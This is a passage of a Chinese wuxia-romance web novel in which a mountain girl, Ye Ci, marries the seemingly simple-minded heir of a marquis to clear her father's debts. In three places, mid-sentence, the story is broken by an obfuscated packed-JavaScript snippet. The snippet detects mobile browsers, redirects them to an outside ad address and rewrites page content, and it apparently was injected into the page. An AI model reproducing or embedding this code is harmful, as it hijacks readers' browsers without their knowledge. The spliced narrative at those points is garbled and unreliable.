“二叔你腿脚不便,我来杀鸡好了。”叶慈说着就要起身,却被祁涟拦住。 “慈姐姐……”他面露难色。 “怎么了?” 乔二却叹了口气:“算了,慈丫头聪明,瞒也瞒不住的。” 叶慈心中顿时升起一种不祥的预感:“到底怎么了?” 她起身朝鸡窝走过去,发现里面已经空空如也,只剩下几根乱七八糟的羽毛。 “咱家的鸡呢?”她又向灶台走过去,发现那里仿佛遭了贼一般,不仅锅碗瓢盆被洗劫一空,连旁边的木架子也东倒西歪的,像是被什么人打砸过。 她又看了祁涟和乔二的屋子,里面也是这种惨状,祁涟最喜欢的那些瓶瓶罐罐也都碎了一地,像是还没来得及收拾。 叶慈看到这些才明白方才祁涟为什么如此殷勤地端菜上菜——这两人原本是想瞒住她的,因此才在她醒来之前收拾了小院和她的屋子,只是为了不让她察觉到异常,只是时间还是太仓促了,做戏也没来得及做全套。 “是那伙山匪?”叶慈问。 乔二摇了摇头:“不确定,这伙人来的时候家里只有祁涟一个人,我没见到。” 叶慈忙问:“小涟没事吧?他们没伤害你吧?” 祁涟乖巧地摇摇头,叶慈瞧着他也确实不像受了伤的样子,倒是好像比平时还有精神,这才放心地坐了回去。 “先吃饭吧。”乔二再次张罗。 叶慈点点头,事情既然已经发生了,无论再怎么沮丧不安也无济于事,不如先做好眼前的事情。 她夹起一筷子拌野菜放到嘴里,又咬了一大口窝窝头,甚至还有空朝乔二扬起一张笑脸:“和以前一个味道,还是二叔的手艺好。” 乔二像是松了口气:“快吃吧。” 这野菜在周围长得到处都是,乔二常采来变着花样做给他们吃,其中叶慈最喜欢的做法就是凉拌,她说这是能“品尝食物本身的味道”。 “鲜咸清香。”叶慈再次评价道,她扯起嘴角,却好像若有所思,笑意也未达眼底。 连祁涟也看出来不对劲,朝乔二投向求救的眼神。 乔二看她,好像略有些无奈,张了张口,最终什么也没说。 三人的饭桌上第一次这么沉默。 乔二如往常一般三两口就填饱了肚子,祁涟小口小口小鸡啄米一般,吃了几口也说自己饱了,叶慈见两人都吃好了,也放下手中筷子。 “我来洗碗吧,慈姐姐,二叔,你们歇着。”祁涟道。 “等等。”叶慈却突然开口,她好像终于下定决心了似的,“二叔,小涟,我决定接受武安侯府的提亲。” “什么?!”祁涟大叫一声,连喜怒不形于色的乔二也抬起眉毛,诧异地看着她。 “为什么?!慈姐姐,东西没了我们再买就是了,赚钱……我虽然不会劈柴,但我以后也可以出去做活赚钱,你……你能不能……不要抛下我?” 说话间,祁涟的眼泪便涌了出来,叶慈见他哭得梨花带雨,免不了心软,她温柔地摸摸他的头顶,说:“小涟,你也别瞒我了,那些人其实不是山匪,对不对?” 她转过脸:“二叔,在山里遇到的那几个,也不是山匪,他们都是我爹的债主派来的,对吗?” 乔二一时僵住了,眼神有些躲闪。 叶慈见状,更加确定了自己内心的猜测。 “东西被打了砸了都还能再买,但是我爹欠债的事一日不解决,这些人就还会找上门来,不管是我,小涟,还是二叔你,都过不了安生日子。” 乔二好像想说什么,被叶慈打断了:“二叔,你把我拉扯到这么大,已经很对得起我那便宜爹了,我不能再继续自私地连累你们。再说,这些人突然找上门,大概也是因为我总是偷跑下山,露出了样貌,他们才能顺着找到这儿,说到底,这也都是我的责任。” 乔二闻言,重重地叹了口气,良久才说:“你既然已经想好了,那我也不拦你,只是……” “二叔——你怎么也这么说——呜呜呜——慈姐姐——”他话没说完,便被祁涟的哭喊声打断了。 叶慈清晰地看到乔二额角的青筋重重一跳,连忙哄小孩似的哄道:“好啦,小涟不哭了,不就是嫁人吗?茌宁离碧渠村又不远,届时你若是想我,下山去看我便是。再说了,那侯府规矩虽多,但也不是不能出门,没你想得那么可怖……” 无论叶慈怎么哄,祁涟都只是哭,好似叶慈要嫁去的不是武安侯府,而是什么龙潭虎穴。 三人就这样对坐至月上中梢,乔二将祁涟训斥一顿,才各自回了屋。 翌日,叶慈起了个大早,本想着过了一夜,祁涟应当把情绪都消化好了,没想到寻常时候早就起床对镜贴花黄的祁涟却仍然闭门不出,叶慈无奈,只好独自下山去了。 她进了碧渠村,从驿馆租了辆马车,坐马车进了茌宁。 这还是叶慈第一次进城,马车刚行过城门,便听到一阵嘈杂的叫卖声,甚是热闹,叶慈没忍住掀开帘子看去,只见街上各式的糕点小吃、首饰成衣都是她没见过的样式,她一一看过去,颇有些眼花缭乱。 “各位大侠,看看本店新锻的降龙刀,削铁如泥!” “本店的武器都是一水儿的尖儿货,童叟无欺!” “曾家新铸神兵,便宜卖了!” “咦?”叶慈好奇地问车夫,“师傅,这茌宁城内怎么如此多的兵器铺子?难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15158835|165000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道城内不太平吗?” 车夫哈哈一笑:“姑娘一看就是第一次来茌宁吧!这茌宁城内可谓尚武成风,人人以会上些拳脚为荣呢!” “这是为何?” “姑娘你有所不知,这统领天下武林的武林盟,正位于咱茌宁城内,所以这天下所有豪杰,无论有名没名,总要来咱茌宁见识见识,若是碰上什么因缘,那也算是一桩美谈啊!还有那武安侯,那可是咱大允唯一的异姓侯,得了皇命亲授,监督这些武林人士不得以武犯禁,要说这现任侯爷赵渊,当年也是位风流人物啊!就是可惜天妒英才,生了个儿子,样貌虽好,就是……” 他后面的话,叶慈不听也知道了。 马车很快行至驿馆,叶慈下车后付钱后便上了街。 车夫确实所言不假,茌宁的街上除了布衣百姓,最多的便是各种武人打扮、身上背着各种武器的游人,想来便是云游各地的少侠了。 叶慈看着,心里竟然悄然升起一丝羡慕。 她穿过来之前就爱看武侠小说,心中对小说里写的快意恩仇的江湖事十分向往,穿过来之后,起初被乔二口中的“债主”吓得不敢出门,后来胆子大了,但又撇不下这个将她养育长大的别扭大叔还有那个好像离了她便一日都活不下去的便宜弟弟。 从前碧渠村中人都夸她聪明伶俐,乖巧懂事,却无人知道,她其实最想要自由。 她也想像书中大侠一样,学成一身本领,初入江湖便掀起惊涛骇浪,从此四处游历、行侠仗义。 只可惜,这样的生活,此后也不会再有了。 叶慈在心中默默按下念头,一人做事一人当,便宜爹欠的债,虽说本也不该由她还,但她也并不愿连累别人。 她这样想着,也不知不觉顺着驿馆小儿指的路走到了侯府大门口。 望着府门上那道内敛但大气的牌匾,“武安侯府”几个大字不仅是能解她燃眉之急的救命稻草,也是会吞噬她一生自由的深渊巨兽。 “什么人?”侯府守卫见她衣着简单,身上也并无武器,不像是江湖中人,在这站了这么久,还以为她是遇到什么难处想向侯府寻求帮助的普通百姓。 叶慈不卑不亢,微微作了个揖:“两位守卫大哥,劳烦通报一声,民女有事求见侯爷。” 那两人对视一眼,说道:“敢问姑娘可有拜帖,可有侯爷信物,若没有的话,侯爷公务繁忙,我等不能随意通报。” “这……”这两个守卫说话也算客气,但奈何他们说的东西叶慈也确实没有,只得退而求其次,“若侯爷没空,小公子也行。” “姑娘,我们小公子也不是随便什么人都见的……” “是谁要见我?”叶慈身后响起一道清亮的声音,她回头,看到一道熟悉的、金灿灿的身影。 “赵小公子?” “咦?娘子姐姐?”赵明予走近几步,看见是叶慈,两只眼睛都弯成了月牙儿。 叶慈才看到,那天情形匆忙,她竟未发现,这位小世子左边内眼角靠近鼻梁的地方,有一颗小痣,此刻他双眼弯弯,小痣也跟着一动,竟莫名有几分狡黠的味道。 不知怎么的,叶慈觉得,他那眼神不像傻的,倒像只不怀好意的小狐狸。 5. 第五章 两名守卫一听称呼,立刻冲叶慈作揖致歉:“不知贵人身份,请贵人见谅。” “无妨,二位守卫大哥也是职责所在,现下我找到了人,便不叨扰了。” 赵明予仍站在台阶下面冲她笑着,侯府内院大概种了一颗海棠树,正是四月春光,海棠繁茂,将枝叶伸出了院墙。不知哪里来的鸟雀停在那颗海棠枝头,将杈尖一压,抖落了几瓣落红。 那几瓣海棠飘飘而下,恰巧落在叶慈的发间与肩上。 美人素衣,唯发顶、肩头、眉间,三点落红而已。 赵明予像是看呆了,他伸手,下意识像为她整理鬓发,不知为何,却在空中顿了顿,最终只是帮她拂去肩头那瓣海棠。 “娘子姐姐真像仙女!”他笑嘻嘻地说道。 乔二甚少夸人,祁涟虽常夸她美貌,但叶慈只将他视作弟弟,这样直白地被青年男子夸奖,对叶慈来说实在是少有的事,即便知道对方不过是儿童心智,也不禁有些不好意思,更何况她此番还是来为自己说亲的。 “咳咳……”她少有地别扭起来,“赵小公子,我来是想说,关于昨天的事……” “昨天的事?”赵明予挠挠头,“娘子姐姐是说娶亲的事?爹爹跟我说,娘子姐姐家里没同意这门亲事,我回去还难过了好久呢!” “正是此事。”叶慈深吸一口气,最终责任心还是战胜了羞耻心,开口道:“我今日来,就是为了此事,不知这婚事,可还作数?” 赵明予的眼睛一下亮了,再配上金光闪闪的衣服,整个人亮得像个小太阳,晃得叶慈几乎无法直视。 “太好了!”赵明予兴奋道,“那可说定了,娘子姐姐,我明天,不……今天,今天就让我爹去你家提亲!” 他摸摸身上,从腰间摸出一把带鞘匕首,好像生怕叶慈反悔似的,递给叶慈:“给,这是信物,娘子姐姐,你可不能爽约。” 那把匕首设计简约,通体银白,刀鞘像是鱼皮的,纹路呈星子状。从前碧渠村中也来过江湖人,叶慈偶然听说过,但从前只听过描述,亲眼见到还是第一次,只能勉强辨认出这种鱼皮应该是鲛鱼皮,多年前流行,因此也异常名贵,如今似乎渐渐冷门,无人问津了。 她拔刀出鞘,这匕首闪着锋利的冷光,不像是常见血的样子。 叶慈微微沉吟,说:“好,那我收下了,多谢赵小公子。” 她以为这婚事便定下了,转身要走,却被赵明予拽住了手臂,她回过头,却看见赵明予似乎颇为意外,好像还有些委屈:“娘子姐姐,爹爹说,大人们做约定的时候都是交换信物的,我的给你了,你的呢?” 叶慈愣了一下,想了想,觉得小世子说的有理,但她下山时走得匆忙,当然,就算不匆忙,她如今家徒四壁,连养的鸡都没了,顶多也只能请他纡尊降贵吃顿野菜八吃了。 她这样想着,踌躇片刻,半晌,似乎想到了什么,拔出方才赵明予送她的匕首,松开发髻,用匕首割下了一缕头发来,又将发绳也割下一段,用短的那段捆住断发,还打了个漂亮的结。 “小世子。”她说,“如今我家徒四壁,身无长物,实在不知该赠你什么,便以此为信物,你若收下,契约既成。” 叶慈冲他伸出手,手中是一截短发,这场景大概不论放在哪,都不像是在缔结婚约。 赵明予愣愣地看着她,几乎眼睛都直了,半晌才回过神来,敛了面上的嬉笑神色,几乎有些珍而重之地接过了那一截青丝。 叶慈见他接过,便将剩下的发绳咬在口中,双手拢住头发,重新将剩下的头发束了起来。 阳光洒下来,将她额前的毛绒碎发照得有些透明,她额间红痣泠然,不似观音温婉,却带着几分神性。 此情此景,一记便是许多年。 “好。”她听到赵明予说。 叶慈见完赵明予,没在茌宁多逗留,便回了碧渠村。 果然,她刚回到山上,还没到半下午,赵渊便依言派使者送来了婚书与纳采之礼,婚期便定在下月初四。 叶慈自己留了些银子,剩下的都给了乔二,嘱咐他以后若是那些债主再上门,便将她爹欠的债连本带利地还了,别再像如今一样东躲西藏地过日子。 乔二用赵家给的钱为叶慈置办了也算丰厚的嫁妆,虽然他知道叶慈与赵小公子身世差距太过悬殊,这婚事遭些闲言碎语也是难免的,但他也想使她嫁过去时不至太寒酸,遭人欺负。 祁涟依然在闹别扭,每天都躲着叶慈,几乎不与她打照面。乔二倒是如常,似乎挺想得开,只是好像比往日里更加沉默了。 三人就这样不尴不尬地过了近一月,一直到五月初三,叶慈出嫁的前一天,祁涟仍然对她避而不见。 天色暗了下来,茅屋外燃着一豆小灯。 叶慈一想起明日要出嫁,心中便不安,她不想甚至未与家人好好道别就嫁做人妇,因此思来想去,还是决定找祁涟谈谈。 她走到祁涟门外,敲了敲门。 “小涟,我们谈谈,好吗?” 屋内阒然无声,无人应答。 “小涟。”叶慈又叫了他几声,屋内始终无人回答,但她知道祁涟在听,便自顾自地说道,“那年我年纪不大,在山里遇到你,见你小小年纪自己在山中,身上薄衫湿淋淋的,又下着雨,怕你一人在山中被野兽所伤,便心软将你带回了家,也不知道究竟是不是正确的决定。” “只因那时候我还不明白,带你回家,便是要对你负责,我在自己还是个孩子的时候就自顾自地替你做了决定,让你跟着我和二叔过苦日子,你说,这是不是对你不公平?” 回答她的依然是一片阒寂。 “若是那年我没捡到你,或是将你送下了山去,你大概便不用跟着我和二叔在山上隐居避世,过这种枯燥无味的生活了。你长得好,万一是什么大户人家走失的贵公子……” 她话没说完,面前的房门突然被打开,祁涟大哭着抱住她:“呜呜……姐姐……慈姐姐……” “你说的这种‘若是’和‘或许’,根本就不存在,我这辈子只有一种可能性,我跟着你,我一辈子都跟着你……” 叶慈还是第一次被他这样按在胸前抱着,平日里祁涟不是拦腰抱她冲她撒娇,就是在她背后躲乔二的骂,知道此刻叶慈才意识到,原来她心中这个柔弱不能自理的弟弟已经长这么大了,跟她初次在山里捡到的那个小泥人儿,早已经判若两人了。 祁涟搂着她,几乎哭得泣不成声:“这一个月里,我真恨不能那个什么劳什子武安侯突然暴毙,最好连带着他儿子也一块去死!” “小涟!”叶慈推开他,“怎么能这么说话呢!人家好歹也算是帮我们渡过了难关,怎么能诅咒人家呢?” 祁涟瘪瘪嘴,不说话,只是哭。 “好了。”叶慈抬手摸摸他的头,“小涟长大了,不哭了,好不好?” “慈姐姐,”祁涟又抱起她的手臂撒娇,“我只是想和慈姐姐一直生活在一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15158836|165000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” “都多大人了……”叶慈无奈道,“都比姐姐高了,还这么黏人。” “若能和慈姐姐一直在一起,把我这双腿打断我也愿意。” “怎么老说这种话……” 祁涟一直哭,叶慈便一直哄他,像回到了小时候。 叶慈从小便不爱哭,而祁涟被捡回来时就是个小哭包,他初时害怕天黑了山中有野兽,后来不敢一个人睡,再后来遇到大事小事都要掉几滴眼泪,但只要他哭,叶慈便会哄着他不哭,就像真正的家人那样——他们一直就是这样过来的。 最后祁涟哭累了,在叶慈怀里睡着了,叶慈费力将他搬到床上躺好。 “慈姐姐,别走……”叶慈走时,他抓住了她的一角袖子。 叶慈失笑,轻轻抓着他的手松开,最后看了他一眼,走出房间,关了门。 “你走了,我就再也没有家人了……” 这是她未曾听见的后半句话。 叶慈出门,发现乔二正在院里等她,他坐在小木桌旁,手里拿着两壶酒,冲她晃了晃。 今夜无云,天上不知何时挂满了星子,找不到月亮,月光却皎洁,将整个院子照得清亮。 “二叔腿伤还没好全吧?我可是记得大夫嘱咐过,不能喝酒。” “少废话。”乔二熄了灯,示意叶慈坐过去。 叶慈这才看到,小木桌上还放了盘拌野菜,是他们最常吃的那种。 “这是下酒菜?”叶慈打趣道。 乔二不置可否,也递给她一壶酒。 叶慈学着平时他的样子,仰头喝了一大口,接着就被呛了个半死。 “咳咳咳……怎么这么辣!”叶慈龇牙咧嘴地道。 乔二哈哈大笑了几声,笑容竟很是浑厚爽朗,接着也咕咚吞了几大口,好像很是爽快。 叶慈一时呆了,乔二平日里在她面前连笑都很少,更遑论这样爽朗的大笑。 她也跟着大笑了几声,又龇牙咧嘴地灌了口酒:“二叔,原来你会笑啊!” 乔二觑她一眼:“没大没小的。” 他说的虽然是责怪的话,眉目却很是舒朗,一点儿也看不出生气的样儿来。 两人就这样默契地谁也没提明日成婚的事,你一句我一句地喝酒吃菜。 不知怎么的,叶慈突然觉得,他们像是一对尘世间真正的平凡父女。 乔二不知从哪摘了两片树叶,叠在一起,放在嘴边,深吸一口气,竟吹出一段悠扬的曲子来。 叶慈侧耳听了片刻,只觉得曲调悠扬快活,有几处又潇洒激荡,仿佛翱翔天际的鹰。 “真好听!”叶慈由衷赞道,“这是什么曲子?” 乔二笑了笑,却没回答。 二人喝了个通宵,乔二的酒量自然不必说,叶慈第一次喝,竟然也没醉,若非脸上酡红,根本与平常无异,直到日出时分,才被惊醒的祁涟拉去上妆。 “二叔,你怎么能在新婚前夜拉着新娘子喝酒喝通宵啊!”祁涟发出了尖锐的爆鸣。 叶慈就没见过他冲乔二这么大声地说过话,摇摇晃晃地竖了个大拇指。 乔二面色不改,但一开口就知道他已经半醉了:“喝酒?喝酒怎么了?结婚都要喝合卺酒的,提前练练嘛……诶我说你小子不是不愿意让慈丫头成亲吗,怎么这会儿这么积极?” “对啊?”叶慈也奇怪地看着他。 祁涟再次发出尖锐的爆鸣,深感这个家没了他要散! 6. 第六章 江湖儿女没那么多规矩,但也很少有叶慈这么没规矩的。 赵家的迎亲队在碧渠村早早候着,几乎等到快要派人上山去叫,叶慈三人才姗姗来迟。 “抱歉来迟了,请大家吃喜糖!”叶慈从腰间解下荷包,给每人分了一锭碎银,又将提前准备好的礼物分给碧渠村众人,这才忙不迭上了马车。 喜婆在一旁急得直喊她“姑奶奶”,冷汗都冒出来了,生怕误了吉时。 “我就说慈丫头长这么俊俏,定能嫁个好人家!” “何止好人家,那可是侯府,慈丫头真是有出息!” “慈丫头成亲后也别忘了回来看看啊!” 碧渠村的村民们将迎亲队伍几乎围了个水泄不通,叶慈一一送了礼,又一一寒暄过去,众人这才依依不舍地与她道别。 自打受了武安侯的聘礼,乔二家里宽裕不少,他为叶慈制了几身体面好看的衣裳,也顺道为祁涟裁了一身。 他喜欢青色,此刻穿着一身青碧袍子,站在人群中,头发只来得及拿竹枝虚虚一绾,竟显出几分清贵公子的味道来,不少村里的少女都偷偷看他,看着看着便红了脸。 叶慈看着,心里也亮了几分——自己这弟弟虽然爱哭,但好在有几分姿色,想来以后也不愁没人喜欢了。 她上了马车,掀开车帘,祁涟不必说,自然在不住地抹眼泪,乔二似乎竟也有几分动容,他冲叶慈点点头,生硬地扯了下嘴角,便偏过头去,不看她了。 不知怎的,叶慈总有种预感,她要与他们好好道个别。 然而还不等她开口,迎亲的车队已然动了,喜婆忙为她盖上盖头,叮嘱道:“新娘子进门,便不宜抛头露面了。” 叶慈没应声,却坐正了。 喜乐倏地奏响,马车也缓缓动了起来,叶慈握着手绢的手紧了紧,仿佛似有所感,突然掀开盖头,将半个身子都探出马车。 “师父——小涟——”她大喊两声,车轮扬起尘土,她也渐渐看不清两人的身影。 仿佛从此,便隔了半生的前尘往事。 奏乐声大了起来,叶慈又喊了两声,却连自己的声音也听不到了。 她愣愣看着那个方向,直到重新被喜婆拉了回来。 “叶姑娘,不对,赵夫人,反正明天就能回门,您今天就先安心把亲成了,不愁以后见不着娘家人,您说您何苦啊,看看,妆都花了……哟,这妆是谁画的啊,倒是看着比茌宁城里的侍女画的还好看——” 她拿着手绢在叶慈脸上轻轻擦拭,叶慈这才意识到,自己的眼泪竟已留了满面。 春末夏初的季节,海棠已谢,驿馆旁那棵繁茂的海棠树此刻只剩下绿叶,伴着敲锣打鼓的喜队远行。 车轮扬起的尘埃落下,却不见那个胡子大汉,和那抹仿佛柔弱的青绿身影。 直到坐到喜房里的那刻,叶慈都还在恍惚的状态。 太过声势浩大的迎亲队伍和悬殊过大的身份转换,都让她忍不住怀疑自己此刻是不是在做梦。 直到屋外窸窸窣窣地响起人语声,她才灵魂归窍般回过神来。 天色已经完全暗了下去,贴着喜字的大红灯笼也被点亮,挂在了屋檐。 两个丫鬟在进屋查看后,得到了叶慈暂时没什么需要的答复便退了出去,一直守在房门口。 “咱们世子夫人还真是可怜,不知是从什么乡下地方来的,竟连个陪嫁丫头也没有。”其中一道声音小声道。 “是啊,不过小世子若真是与她……通了人事后能痊愈,也算是好事一桩。”另一道声音答道。 这两人说得极小声,或许是觉得隔着一扇门,叶慈听不见,但叶慈从小在山中长大,每日听微风拂叶、鸟雀嬉语,不受喧杂人声之闹,耳力一直不错,两人的说话声便清晰地传到她耳朵里。 第一道声音静了片刻,才略有些迟疑似的再次开口:“不过……我可是听说咱们这位世子夫人,似乎行事也有些……” “这是什么说法?” “你不知道吗?我听说啊……她可是自荐枕席!” “自荐枕席?!”另一方似乎太过震惊,声音也忍不住大了一瞬,又被一阵“嘘”声压过。 “你小声点!要是被听见了可就糟了!” 叶慈在心中冷笑,这两人敢在门前议论,就说明压根没把她放在眼里,此刻倒是装起纯善来了。 另一方连声道歉,接着又说:“你这么一说,我似乎也听过这位叶姑娘的传闻,我相好的在今日的接亲队伍里,据说这位叶姑娘摆的谱可够大,都快到吉时了才从山上下来,来时还一身酒味儿。” 叶慈:“……” 这个她倒是反驳不了。 “是啊!”另一人连忙答,“保不准是和什么相好的喝了通宵呢?我还听说,她和她那个娘家人,就是那个樵夫,好像从小就不清不楚的,说不定也有什么见不得光的事儿呢。对了,你听说了吗,今日送亲队伍里好像便莫名出现了个青衣公子边哭边给她送亲呢……” 叶慈听得青筋直跳,这两人越说越离谱,越说越荒谬,她终于忍不住掀起盖头,起身推开了房门。 那两个丫鬟被她下了一跳,抬眼便看见她冷着脸气势汹汹地出来,一看便知道是来问罪的。 两人吓得齐齐“扑通”跪下,忙给她磕头:“世子夫人赎罪,奴婢们不是有意的。” “不是有意的,是不是有意让我听见,还是不是有意嚼人舌根啊?”叶慈问。 两个丫鬟把头压得更低了。 “说啊,继续说,还有什么关于我的事迹,都说出来让我听听呗?”叶慈说着,语调里甚至带了笑意。 她弯腰矮下|身,试图看清两个丫鬟的长相,她们却将脸埋得更低了,身子还在微微发抖。 “你们今年都几岁了?”叶慈问。 “奴婢十五。” “奴婢十六。” 叶慈心里暗暗想,确实正是爱八卦的年纪。 “你。”她对那个自称十六的说,“你相好的说的没错,我今早确实来得迟了,没什么好辩驳的。” “你。”她又转向那个十五的,“那些传闻你都是从哪听来的,莫非是这武安侯府的生活太过平淡无趣,才让你不得不嚼别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15158837|165000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人舌根寻些乐子?” 她直起身来:“我知道,你们觉得我出身乡野,却当了世子夫人,是麻雀飞上枝头变凤凰,心中不忿,觉得你们论才论貌,都胜我一筹,却无我这般机缘,所以才出言不逊,这我也理解。” “奴婢不敢!”二人忙道。 叶慈却摆摆手:“只是我想知道,这‘自荐枕席’和‘相好的’又是打哪儿冒出来的?” 十五岁的那个额上“唰”地冒出了冷汗,哭着说:“奴婢……奴婢不过是听一些人捕风捉影,这才……” “谁?”叶慈问,“你说出来,我便当没听过这番话。” “这……这……”她连手指尖都在抖,却还是说不出个一二三来。 “到底是旁人捕风捉影,还是你自己便是这样的人,所以才会对旁人做出这种推测?”叶慈的语气陡然重了起来。 “奴婢……奴婢不敢啊!世子夫人明鉴,奴婢不敢!” “娘子姐姐说得对,夫子讲学时说过,恶人必以己度人,芳语,你定是自己便时常有这般念头,才会觉得娘子姐姐也与你一般的!” 听见熟悉的声音,两个丫鬟更加惶恐,几乎将整个身子都贴到了地上。 叶慈闻声抬头看去,赵明予今日戴了顶金冠,将一头乌发尽数束起,身穿大红喜服,上绣金线暗纹,整一个喜气洋洋的富贵小公子。 而他此刻却面带怒容。 “芳语,燕声,你二人平日里干活利索,怎么却其实如此不知检点,竟在新婚之夜语新娘是非!”他一副打抱不平的样子,“娘子姐姐,你想怎么处置她们都行,我绝不插手!不管是发卖了还是杖刑,都随你!” 芳语燕声听了,忙向着叶慈磕了几个响头,嘴里直喊着“饶命”。 叶慈定定地看了二人一晌,却忽然说:“不用了,就留在房里吧,做我的贴身丫鬟。” 这下不光芳语燕声,赵明予也傻了,“啊”了一声,叶慈解释道:“这般喜欢说我是非,若是把她们卖到别处还了得,我岂不是得相好满天飞了?不如放在身边看着点,安心。” 赵明予略略思忖,点点头:“娘子姐姐说的有理!” 两个丫鬟仿佛劫后余生,嘴里念着“夫人大恩大德”,又朝叶慈磕了几个响头,叶慈将他们扶起来:“好了好了,再这样我要折寿了。” 叶慈见二人站起来,又故作严肃道:“不过有一个规矩今天就得立,以后若再让我听见你二人背后语人是非,惹口舌之争,便一人十杖,赶出侯府去,听到没有?” 二人对视一眼,重重点了点头。 赵明予与叶慈解决了这桩插曲,便进了屋,赵明予身边的嬷嬷与小厮也都留在了门外,两人坐在桌前,当对饮合卺,叶慈将酒杯满上,递给赵明予。 “等等。”赵明予突然神神秘秘地打断她,“娘子姐姐,我给你看个好东西。” 叶慈突然有种不祥的预感。 赵明予却“嘿嘿”一笑,从袖子里掏出个油纸包,摆在桌上,示意叶慈拆开。 叶慈半信半疑地拆开,里面竟整整齐齐地摆着两块桂花糖糕。 7. 第七章 “怎么样?”赵明予神色狡黠,“我知道娘子姐姐肯定饿了,便从宴上偷了两块。” 他一副等叶慈表扬的样子,叶慈觉得,他若有尾巴的话,此刻一定在身后摇得飞快。 看着他这幅样子,不知怎么,叶慈觉得有几分熟悉。 她下意识地伸出手,放在赵明予头顶,揉了一把:“真乖。” 两人突然都僵住了。 叶慈突然反应过来,对面不是她的弟弟,而是一个名义上是她丈夫的陌生男子。 她颇有些尴尬地轻咳一声,收回手,房间里的气氛一时有些凝滞。 过了片刻,她看到赵明予抬起头,脸上丝毫没有尴尬的神色,反而像摇尾巴的小狗一样,又兴奋又期待。 “娘子姐姐,能不能再摸一下,就一下?”他星星眼道。 叶慈失笑,觉得自己方才的别扭实在没有必要,对面不过是个心智不全的孩子,她怎么总是误将他当成正常的成年男子。 或许是丈夫的这层身份,才总让她面对赵明予时变得不知所措吧。 她轻轻拈起一块糕点,送入口中,桂花的香气溢满整个口腔,甜而不腻,比她在这个世界吃过的任何点心都好吃。 “你也吃。”她对赵明予说。 赵明予也拿起一块糕点:“娘子姐姐真好!” 二人吃完糕点,赵明予才拿起酒杯,颇有些郑重其事地道:“娘子姐姐,仇嬷嬷说,喝完这杯酒,我就不能叫你‘娘子姐姐’了,要叫你‘娘子’,因为成亲以后,两个人就是一家人了,是平等的,要互相扶持,携手共度余生。” 叶慈从未在他脸上见过这般郑重神情,觉得颇有些许不协调。 她莫名有些不敢与他对视,有些别扭地移开目光,生硬地转移话题道:“仇嬷嬷是?” 她还未听过这号人物。 “是照顾我的嬷嬷,人很亲切的,对我也很好。”他答道。 她了然地“嗯”了一声,也举起了酒杯。 二人手腕交缠,仿如鸳鸯,交颈而眠。 叶慈将杯中酒一饮而尽,合卺酒不烈,一杯酒下肚,却还是烧得她喉间滚滚。 直到此时,她才突然有了成亲的实感。 从此刻开始,她便要在侯府生活,人人称她“世子夫人”,按照世俗的标准,她将与面前这个俊美的男人休戚与共,举案齐眉。 烛火昏黄,摇摇晃晃,将赵明予眼头小痣映得暧昧。 不知怎么的,叶慈心中突然生出一种深深的抗拒。 她觉得,她不想就这样度过一生,她不想做“世子夫人”,她想做叶慈。 武安侯虽然常与武林人士交往,不似寻常侯爵家规矩森严,但最基本的礼数还是有的。 成亲之前,府上便派了几个婆子上门来教叶慈成婚时的礼节和侯府的规矩,当然也包括大婚当夜该怎么伺候丈夫。 叶慈从前觉得,这事也没什么大不了的,但此刻她却突然不想了。 遇事不决,唯有装醉。 她作势要趴下,谁知对面的赵明予却先她一步,眼神突然朦胧起来,直接栽倒在了桌子上。 叶慈吓了一跳,忙上前摇了摇他,问:“世子,小世子?怎么了?没事吧?” 赵明予含糊不清地说:“我头好晕,好想睡觉……” 这是醉了,叶慈失笑,心里松了口气,没想到自己连装醉这一环都能省了。 她原本想叫门口两个丫鬟进来帮忙,细想又觉得小世子新婚夜喝醉了没法圆房,正合她意,若是让别人知道了,传扬出去,武安侯若为了给在赵明予“治病”,然他们再来一次,那就不妙了,因此这事还是不要宣扬为好,不过还好她力气大,一个人也没费什么力气就把他弄到了床上。 接着她便用剪刀把手指划破,滴了几滴血在床单上。 做完这一切,她才将烛芯剪了,睡觉去了。 大户人家的床果然不像茅屋里的一样硬得像铁,被褥不仅又软又滑,因为赵明予在里面暖了会儿床,被子里还暖烘烘的,叶慈感受着又软有暖和的被窝,带着笑意睡着了,直到天色大亮才被一阵窸窸窣窣的声音吵醒。 她打了个哈欠,睁开朦胧睡眼,入目的却是一双带着笑意的清亮眸子。 叶慈吓了一跳,直接清醒了,这才发现赵明予此刻与她面对面躺着,虽然仍是两床被子,但距离挨得极近。 “娘子真好看,连睡觉的样子都好看。”赵明予笑盈盈地说。 娘子……叶慈听到这个陌生的称呼,有些脸热,她觉得自己似乎是应该叫对方夫君的,奈何憋红了脸,也说不出口。 